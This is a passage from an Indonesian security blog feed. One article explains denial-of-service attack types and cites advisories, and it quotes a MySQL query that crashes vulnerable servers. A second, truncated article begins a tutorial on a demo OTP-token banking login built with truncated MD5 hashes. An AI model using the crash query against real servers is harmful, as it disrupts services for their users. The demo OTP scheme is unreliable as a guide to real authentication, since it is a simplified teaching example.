<p style="text-align: justify;">Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.</p>
<p style="text-align: justify;">Secara umum ada 2 cara melakukan serangan DoS:</p>
<ol>
<li>Mematikan Server</li>
<li>Menyibukkan Server
<ul>
<li>Tanpa bug/vulnerability</li>
<li>Meng-exploit bug/vulnerability</li>
</ul>
</li>
</ol>
<p><span id="more-1539"></span><strong>DoS dengan Mematikan Server: Kill Them!</strong></p>
<p style="text-align: justify;">Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan &#8220;Out of Service&#8221; atau &#8220;Sedang dalam perbaikan&#8221;. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.</p>
<p style="text-align: justify;">Tujuan serangan ini adalah membuat server shutdown, reboot, crash, &#8220;not responding&#8221;. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.</p>
<p style="text-align: justify;">Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah &#8220;specially/carefully crafted packet/request&#8221;, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung  sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.</p>
<p style="text-align: justify;">Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:</p>
<ul>
<li>Ping of Death ( <a href="http://www.cert.org/advisories/CA-1996-26.html">CA-1996-26</a> )</li>
<p style="text-align: justify;">Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot.<span style="font-family: Verdana;"> Serangan ini dilakukan dengan mengirimkan &#8220;specially crafted&#8221; paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang &#8220;aneh&#8221; ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS &#8220;one shot one kill&#8221; karena bisa merusak server hanya dengan satu tembakan saja.<br />
</span></p>
<li>MySQL IF Query DoS ( <a href="http://secunia.com/advisories/25188/3/">SA25188</a> )</li>
<p>Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: &#8220;SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))&#8221;. Ini juga jenis serangan &#8220;one shot one kill&#8221;.</ul>
<ul>
<li>Cisco Global Site Selector DNS Request Denial of Service (<a href="http://secunia.com/advisories/33429/">SA33429</a>)</li>
<p style="text-align: justify;">Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa &#8220;specially crafted&#8221; paket request DNS dalam urutan tertentu.</p>
</ul>
<p style="text-align: justify;">Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.</p>
<p style="text-align: justify;"><strong>DoS dengan Menyibukkan Server: Make Them As Busy As Possible!</strong></p>
<p style="text-align: justify;">Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit.  Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.</p>
<p style="text-align: justify;">Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.</p>
<p style="text-align: justify;">DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:</p>
<ul>
<li>Exploiting vulnerability: Menyerang dengan malicious request/packet</li>
<li>No vulnerability exploitation: Menyerang dengan normal request/packet</li>
</ul>
<p style="text-align: justify;">Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.</p>
<p><strong>Make Server Busy by Exploiting Vulnerability</strong></p>
<p style="text-align: justify;">Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan &#8220;one shot one kill&#8221;. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.</p>
<p style="text-align: justify;">Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik  hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.</p>
<p style="text-align: justify;">Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:</p>
<ul>
<li><a href="http://www.securityfocus.com/advisories/1262">TCP SYN Flood DoS</a></li>
<p style="text-align: justify;">Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.</p>
<p style="text-align: justify;">Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.</p>
<li><a href="http://vigilance.fr/vulnerability/Apache-httpd-denial-of-service-of-mod-deflate-8851">Apache mod_deflate DoS</a></li>
<p style="text-align: justify;">Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.</p>
<p style="text-align: justify;">Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.</p>
</ul>
<p style="text-align: justify;">Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket  yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.</p>
<p><strong>Make Server Busy Without Exploiting Vulnerability</strong></p>
<p style="text-align: justify;">Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.</p>
<p style="text-align: justify;">Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).</p>
<p style="text-align: justify;">Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.</p>
<p style="text-align: justify;">
<div id="attachment_1569" class="wp-caption aligncenter" style="width: 580px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/ddos.jpg"><img class="size-full wp-image-1569" title="ddos" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/ddos.jpg" alt="DDoS Botnet Attack" width="570" height="255" /></a><p class="wp-caption-text">Courtesy of: www.dos-attack.net</p></div>
<p style="text-align: justify;">Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).</p>
<p style="text-align: justify;">Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.</p>
<p style="text-align: justify;"><strong>Kesimpulan</strong></p>
<p style="text-align: justify;">Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:</p>
<ul>
<li>Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.</li>
<li>Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
<ul>
<li>Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.</li>
<li>Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<p style="text-align: justify;">
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=yP3lCOXhrlg:XzBQ8M760EI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=yP3lCOXhrlg:XzBQ8M760EI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=yP3lCOXhrlg:XzBQ8M760EI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=yP3lCOXhrlg:XzBQ8M760EI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=yP3lCOXhrlg:XzBQ8M760EI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=yP3lCOXhrlg:XzBQ8M760EI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=yP3lCOXhrlg:XzBQ8M760EI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=yP3lCOXhrlg:XzBQ8M760EI:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/memahami-serangan-denial-of-service/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Membuat Web dengan Otentikasi berbasis Token</title>
		<link>http://www.ilmuhacking.com/web-security/membuat-web-dengan-otentikasi-berbasis-token/</link>
		<comments>http://www.ilmuhacking.com/web-security/membuat-web-dengan-otentikasi-berbasis-token/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 09:59:08 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>
		<category><![CDATA[internet banking]]></category>
		<category><![CDATA[token]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=1484</guid>
		<description><![CDATA[Pada artikel sebelumnya saya sudah menjelaskan cukup detil tentang cara kerja token yang dipakai pada internet banking. Artikel tersebut hanya menjelaskan sebatas teoretis saja, saya pikir akan lebih baik bila ada prakteknya. Oleh karena itu, seperti yang sudah saya janjikan, kali ini saya akan membuat sebuah contoh sederhana website dengan otentikasi yang menggunakan token seperti [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Pada artikel sebelumnya saya sudah menjelaskan cukup detil tentang <a href="http://www.ilmuhacking.com/web-security/memahami-cara-kerja-token-internet-banking/" target="_blank">cara kerja token</a> yang dipakai pada internet banking. Artikel tersebut hanya menjelaskan sebatas teoretis saja, saya pikir akan lebih baik bila ada prakteknya. Oleh karena itu, seperti yang sudah saya janjikan, kali ini saya akan membuat sebuah contoh sederhana website dengan otentikasi yang menggunakan token seperti pada situs internet banking. Aplikasi token yang saya buat ini dikembangkan dari aplikasi yang bernama <a href="http://motp.sourceforge.net/">Mobile-OTP</a>, dari aplikasi itu saya tambahkan beberapa fitur agar mirip dengan token yang dipakai di internet banking. Sedangkan aplikasi server/website saya harus membuat sendiri dari awal karena tidak tersedia di Internet.</p>
<p style="text-align: justify;"><span id="more-1484"></span></p>
<p style="text-align: justify;"><strong>Persiapan</strong></p>
<p style="text-align: justify;">Ada dua komponen yang terlibat dalam sistem ini, yaitu token yang dipakai oleh client dan tentu saja server. Token ada yang berwujud fisik seperti kalkulator kecil, ada juga yang berwujud software yang disebut juga virtual token. Sebenarnya token fisik maupun software sama saja, jadi dalam artikel ini saya akan membuat token yang berwujud software. Lebih spesifik lagi token ini dibuat dengan Java Mobile sehingga bisa diinstall di handphone yang mendukung Java. Jadi wujud fisik token yang berbentuk kalkulator bisa digantikan dengan wujud fisik sebuah handphone. Dalam artikel ini saya akan menggunakan emulator handphone yang dibundel dari Java Wireless Toolkit.</p>
<p style="text-align: justify;">Komponen lainnya adalah server. Diperlukan web server dan database server, dalam artikel ini saya pakai XAMPP yang sudah dibundel dengan Apache, PHP dan MySQL.</p>
<p style="text-align: justify;"><strong>Spesifikasi One Time Password di Aplikasi Contoh<br />
</strong></p>
<p style="text-align: justify;">Dalam aplikasi contoh ini, one time password didapatkan dengan mengambil 6 karakter pertama hasil penghitungan hash dengan fungsi MD5. Granularity sistem ini adalah 10 detik, dengan kata lain setiap 10 detik token akan menghasilkan OTP yang berbeda. Jika anda meminta token mengeluarkan OTP beberapa kali dalam rentang 10 detik, maka semuanya akan menghasilkan OTP yang sama. Kemudian baru ketika waktu masuk ke 10 detik berikutnya token akan menghasilkan OTP yang baru.</p>
<p style="text-align: justify;">Dalam aplikasi contoh ini, umur OTP adalah 3 menit, artinya server harus menghitung semua OTP dalam time window 6 menit, yaitu 3 menit ke belakang dan 3 menit ke depan relatif terhadap waktu ketika server melakukan otentikasi. Konsekuensinya adalah setiap OTP yang dihasilkan token akan dianggap valid bila belum pernah dipakai dalam 3 menit sejak OTP dibangkitkan.</p>
<p style="text-align: justify;"><strong>Spesifikasi Software Token<br />
</strong></p>
<p style="text-align: justify;">Token yang akan saya buat ini nantinya memiliki fitur yang sama dengan token internet banking pada umumnya. Pada kondisi normal nilai init-secret sudah ditanam di dalam token secara hardware, namun dalam token contoh ini tersedia fitur untuk melakukan inisialisasi nilai init-secret. Init-secret ini harus dicatat juga di server agar server bisa menghasilkan OTP yang sama dengan token.</p>
<p style="text-align: justify;">Token bisa menghasilkan OTP dalam mode Challenge/Response maupun dalam mode Response Only (self generated). Challenge yang diterima oleh token adalah sepanjang 4 digit dan menghasilkan response sepanjang 6 digit hexadesimal.</p>
<p style="text-align: justify;"><strong>Spesifikasi Website</strong></p>
<p style="text-align: justify;">Website dalam aplikasi contoh ini saya buat dengan PHP. Aplikasi ini terdiri dari 2 file saja, yaitu login.php dan transfer.php. Login.php digunakan untuk melakukan login dengan menggunakan response only pin dari token. Sedangkan transfer.php adalah untuk melakukan transfer uang dengan menggunakan challenge/response pin dari token.</p>
<p style="text-align: justify;">
Aplikasi ini saya pasang pada localhost yang terinstall Apache+MySQL+PHP dari XAMPP. Sebelum bisa melakukan transfer uang, user harus melakukan login di URL https://localhost/mytestbank/login.php . Perhatikan URL tersebut sengaja saya memakai https agar mirip dengan internet banking. Tentu saja browser anda akan berontak ketika menggunakan https karena memang saya tidak punya sertifikat yang ditandatangani CA untuk localhost. Bila anda kesulitan mengonfigurasi browser anda untuk memakai https tersebut, anda boleh memakai http biasa.
</p>
<p style="text-align: justify;">
Pada saat login user diminta memasukkan username dan OTP yang dihasilkan dari token dalam mode response only (self generated). Bila login berhasil, maka user dialihkan ke halaman https://localhost/mytestbank/transfer.php . Berbeda dengan halaman login, pada saat transfer user diminta untuk memasukkan OTP dari token dalam mode challenge/response. Server memberikan challenge sepanjang 4 digit angka.
</p>
<p style="text-align: justify;">Aplikasi ini juga membutuhkan sebuah tabel MySQL bernama users yang saya masukkan dalam database bernama mytestbank. Tabel ini digunakan untuk menyimpan informasi pengguna website. Berikut adalah script SQL untuk membuat tabel users.</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">TABLE</span> <span style="color: #993333; font-weight: bold;">IF</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">EXISTS</span> <span style="color: #ff0000;">`users`</span> <span style="color: #66cc66;">&#40;</span>
  <span style="color: #ff0000;">`id`</span> int<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">11</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span> <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`username`</span> varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
  <span style="color: #ff0000;">`initsecret`</span> varchar<span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">255</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span><span style="color: #66cc66;">,</span>
  <span style="color: #993333; font-weight: bold;">PRIMARY</span> <span style="color: #993333; font-weight: bold;">KEY</span>  <span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">`id`</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #66cc66;">&#41;</span> ENGINE<span style="color: #66cc66;">=</span>MyISAM  <span style="color: #993333; font-weight: bold;">DEFAULT</span> CHARSET<span style="color: #66cc66;">=</span>latin1 <span style="color: #993333; font-weight: bold;">AUTO_INCREMENT</span><span style="color: #66cc66;">=</span><span style="color: #cc66cc;">2</span> ;</pre></div></div>

<p style="text-align: justify;">
Agar lebih mudah sebaiknya anda menginstall <a href="http://www.apachefriends.org/en/xampp.html">XAMPP </a>atau <a href="http://www.wampserver.com">WAMP </a>dan menggunakan PhpMyAdmin untuk membuat tabel users tersebut.
</p>
<p style="text-align: justify;"><b>Pembuatan Token</b></p>
<p style="text-align: justify;">
Token dibuat dengan Java Mobile (disebut midlet) yang sangat sederhana. Midlet ini hanya terdiri dari 2 file, yaitu MD5.java dan MobileOTP.java. Class MD5 adalah library untuk menghitung nilai hash MD5. Sedangkan class MobileOTP adalah class utama. Karena sourcenya cukup panjang, anda bisa mendownload sourcenya dalam file zip <a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/MobileOTP.zip">di sini</a>. File zip itu bisa langsung anda extract ke dalam folder apps dalam Java Wireless Toolkit bila ingin menjalankan midlet itu dengan menggunakan emulator.
</p>
<p style="text-align: justify;">
Saya akan menjelaskan fungsi utama dari token yaitu membangkitkan OTP dalam mode Challenge/Response dan mode Response Only. Perhatikan potongan kode token berikut yang berfungsi untuk membangkitkan OTP dalam mode Response Only.
</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;">now<span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">Date</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>										
epoch<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>now.<span style="color: #006633;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>timez<span style="color: #339933;">-</span><span style="color: #cc66cc;">12</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">3600000</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
epoch<span style="color: #339933;">=</span>epoch.<span style="color: #006633;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span>,epoch.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003399;">String</span> otp<span style="color: #339933;">=</span>epoch<span style="color: #339933;">+</span>secret<span style="color: #339933;">;</span>
MD5 hash<span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">new</span> MD5<span style="color: #009900;">&#40;</span>otp<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
otp<span style="color: #339933;">=</span>hash.<span style="color: #006633;">asHex</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p style="text-align: justify;">
Kode di atas sangat sederhana, diawali dengan mengambil detik EPOCH sepanjang 9 digit (ini sama dengan EPOCH/10 karena granularitynya adalah 10 detik). Kemudian nilai EPOCH tersebut digabung dengan init-secret. String gabungan epoch dengan init secret ini dihitung hashnya dengan MD5. Kemudian 6 karakter pertama dari hash tersebut diambil sebagai OTP response only (self generated).
</p>
<p style="text-align: justify;">
Kode berikut ini adalah untuk membangkitkan OTP dalam mode challenge/response. Kode tersebut sangat mirip dengan potongan kode di atas hanya perbedaannya adalah adanya challenge yang dalam kode tersebut ada pada variabel PIN. Gabungan dari epoch, init secret dan challenge dihitung nilai hashnya dengan MD5, baru kemudian diambil 6 karakter pertamanya sebagai OTP.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="java" style="font-family:monospace;">now<span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">Date</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>        				
epoch<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>now.<span style="color: #006633;">getTime</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>timez<span style="color: #339933;">-</span><span style="color: #cc66cc;">12</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">3600000</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
epoch<span style="color: #339933;">=</span>epoch.<span style="color: #006633;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span>,epoch.<span style="color: #006633;">length</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>        				
otp<span style="color: #339933;">=</span>epoch<span style="color: #339933;">+</span>secret<span style="color: #339933;">+</span>PIN<span style="color: #339933;">;</span>        				
hash<span style="color: #339933;">=</span><span style="color: #000000; font-weight: bold;">new</span> MD5<span style="color: #009900;">&#40;</span>otp<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>        				
otp<span style="color: #339933;">=</span>hash.<span style="color: #006633;">asHex</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">substring</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span>,<span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p style="text-align: justify;">
Bila anda ingin mencobanya di hape anda, pastikan HP anda mendukung java. Anda bisa mengkopi file JAR aplikasi ini ke memory card anda dengan bluetooth/USB, atau anda bisa juga mendownload langsung dari browser hp anda. URL untuk mendownload file JAR midlet ini adalah http://www.ilmuhacking.com/wp-content/uploads/2009/07/MobileOTP.jar . Selanjutnya anda tinggal mengikuti petunjuk untuk instalasi aplikasi seperti biasa. Ingat sebelum dipakai diperlukan langkah inisialisasi nilai init-secret dengan cara mengetikkan #**# dalam field &#8220;CHAL&#8221;.
</p>
<p align="justify">
Berikut ini adalah screen capture dari aplikasi tersebut yang diinstall di HP saya. Dua gambar di bawah ini adalah prosedur inisialisasi init-secret ketika aplikasi pertama kali dijalankan. Nilai init secret ini harus dicatat dan disimpan ke dalam tabel user di server.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/e90mobileotp1.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/e90mobileotp1-224x300.png" alt="e90mobileotp1" title="e90mobileotp1" width="224" height="300" class="aligncenter size-medium wp-image-1498" /></a><br />
<a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/e90mobileotp2.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/e90mobileotp2-225x300.png" alt="e90mobileotp2" title="e90mobileotp2" width="225" height="300" class="aligncenter size-medium wp-image-1499" /></a></p>
<p align="justify">
Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode response only.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/e90mobileotp5.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/e90mobileotp5-223x300.png" alt="e90mobileotp5" title="e90mobileotp5" width="223" height="300" class="aligncenter size-medium wp-image-1503" /></a></p>
<p align="justify">
Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode challenge response.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2009/07/e90mobileotp4.png"><img src="http://www.ilmuhacking.com/wp-content/uploads/2009/07/e90mobileotp4-224x300.png" alt="e90mobileotp4" title="e90mobileotp4" width="224" height="300" class="aligncenter size-medium wp-image-1505" /></a></p>
<p style="text-align: justify;"><b>Pembuatan Aplikasi Web</b></p>
<p style="text-align: justify;">
Aplikasi web terdiri dari dua file yaitu login yang menggunakan OTP dalam mode response only, dan transfer yang menggunakan OTP dalam mode challenge response. Seperti halnya midlet token, aplikasi ini juga sangat sederhana. Fungsi utamanya adalah pada fungsi checkCR() dan checkRO() yang berfungsi untuk melakukan otentikasi dalam mode Challenge/Response atau Response Only. Berikut adalah isi dari fungsi checkCR dan checkRO.
</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">// Check Challenge/Response Mode</span>
<span style="color: #000000; font-weight: bold;">function</span> checkCR<span style="color: #009900;">&#40;</span><span style="color: #000088;">$chal</span><span style="color: #339933;">,</span><span style="color: #000088;">$otp</span><span style="color: #339933;">,</span><span style="color: #000088;">$initsecret</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
